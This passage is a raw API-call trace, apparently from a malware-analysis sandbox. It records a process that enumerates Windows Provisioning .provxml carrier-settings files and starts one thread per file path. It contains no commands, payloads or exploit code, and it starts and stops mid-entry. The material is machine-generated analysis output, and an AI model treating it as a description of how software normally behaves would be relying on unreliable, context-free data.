lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916665c7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916665c7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916665c7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml", cAlternateFileName="627__C~1.PRO")) returned 1 [0182.187] wcscmp (_String1="627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.187] wcscmp (_String1="627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.187] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2f8ff58 [0182.187] wcscpy (in: _Dest=0x2f8ff58, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.187] wcscat (in: _Dest=0x2f8ff58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.187] wcscat (in: _Dest=0x2f8ff58, _Source="627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml" [0182.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8ff58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0182.188] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916665c7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916665c7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916665c7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="628__C~1.PRO")) returned 1 [0182.188] wcscmp (_String1="628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.188] wcscmp (_String1="628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.188] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f8fe00 [0182.188] wcscpy (in: _Dest=0x2f8fe00, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.188] wcscat (in: _Dest=0x2f8fe00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.188] wcscat (in: _Dest=0x2f8fe00, _Source="628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fe00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0182.189] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9168c833, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9168c833, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9168c833, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml", cAlternateFileName="629__C~1.PRO")) returned 1 [0182.189] wcscmp (_String1="629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.189] wcscmp (_String1="629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.189] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f03278 [0182.189] wcscpy (in: _Dest=0x4f03278, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.189] wcscat (in: _Dest=0x4f03278, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.189] wcscat (in: _Dest=0x4f03278, _Source="629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml" [0182.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f03278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0182.190] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90306b27, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90306b27, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90306b27, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml", cAlternateFileName="62__CO~1.PRO")) returned 1 [0182.190] wcscmp (_String1="62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.190] wcscmp (_String1="62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.190] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f02d58 [0182.190] wcscpy (in: _Dest=0x4f02d58, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.190] wcscat (in: _Dest=0x4f02d58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.190] wcscat (in: _Dest=0x4f02d58, _Source="62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml" [0182.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02d58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0182.191] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9168c833, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9168c833, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9168c833, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml", cAlternateFileName="630__C~1.PRO")) returned 1 [0182.191] wcscmp (_String1="630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.191] wcscmp (_String1="630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.191] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f02460 [0182.191] wcscpy (in: _Dest=0x4f02460, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.191] wcscat (in: _Dest=0x4f02460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.191] wcscat (in: _Dest=0x4f02460, _Source="630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml" [0182.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0182.192] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9168c833, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9168c833, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9168c833, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml", cAlternateFileName="631__C~1.PRO")) returned 1 [0182.192] wcscmp (_String1="631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.192] wcscmp (_String1="631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.192] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f01b68 [0182.192] wcscpy (in: _Dest=0x4f01b68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.192] wcscat (in: _Dest=0x4f01b68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.192] wcscat (in: _Dest=0x4f01b68, _Source="631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml" [0182.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0182.192] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9168c833, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9168c833, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9168c833, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml", cAlternateFileName="632__C~1.PRO")) returned 1 [0182.192] wcscmp (_String1="632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.192] wcscmp (_String1="632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.192] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f02838 [0182.192] wcscpy (in: _Dest=0x4f02838, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.193] wcscat (in: _Dest=0x4f02838, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.193] wcscat (in: _Dest=0x4f02838, _Source="632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\632__Connections_Cellular_Virgin (Canada)_i1$(__MVID)@WAP.provxml" [0182.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0182.193] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9168c833, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9168c833, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916b2a9b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml", cAlternateFileName="633__C~1.PRO")) returned 1 [0182.193] wcscmp (_String1="633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.193] wcscmp (_String1="633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.193] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f02318 [0182.193] wcscpy (in: _Dest=0x4f02318, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.193] wcscat (in: _Dest=0x4f02318, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.193] wcscat (in: _Dest=0x4f02318, _Source="633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\633__Connections_Cellular_Solo (Canada)_i0$(__MVID)@WAP.provxml" [0182.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0182.194] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916b2a9b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916b2a9b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916b2a9b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml", cAlternateFileName="634__C~1.PRO")) returned 1 [0182.194] wcscmp (_String1="634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.194] wcscmp (_String1="634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.194] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f900b0 [0182.194] wcscpy (in: _Dest=0x2f900b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.194] wcscat (in: _Dest=0x2f900b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.194] wcscat (in: _Dest=0x2f900b0, _Source="634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\634__Connections_Cellular_PC Mobile (Canada)_i0$(__MVID)@WAP.provxml" [0182.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f900b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0182.195] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916b2a9b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916b2a9b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916b2a9b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="635__C~1.PRO")) returned 1 [0182.195] wcscmp (_String1="635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.195] wcscmp (_String1="635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.195] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f9b0a0 [0182.195] wcscpy (in: _Dest=0x2f9b0a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.195] wcscat (in: _Dest=0x2f9b0a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.195] wcscat (in: _Dest=0x2f9b0a0, _Source="635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\635__Connections_Cellular_3 (United Kingdom)_i0$(__MVID)@WAP.provxml" [0182.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9b0a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0182.196] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916b2a9b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916b2a9b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916b2a9b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="636__C~1.PRO")) returned 1 [0182.196] wcscmp (_String1="636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.196] wcscmp (_String1="636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.196] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f99f28 [0182.196] wcscpy (in: _Dest=0x2f99f28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.196] wcscat (in: _Dest=0x2f99f28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.196] wcscat (in: _Dest=0x2f99f28, _Source="636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\636__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.196] CreateThread (in: lpThreadAttributes=0x0, 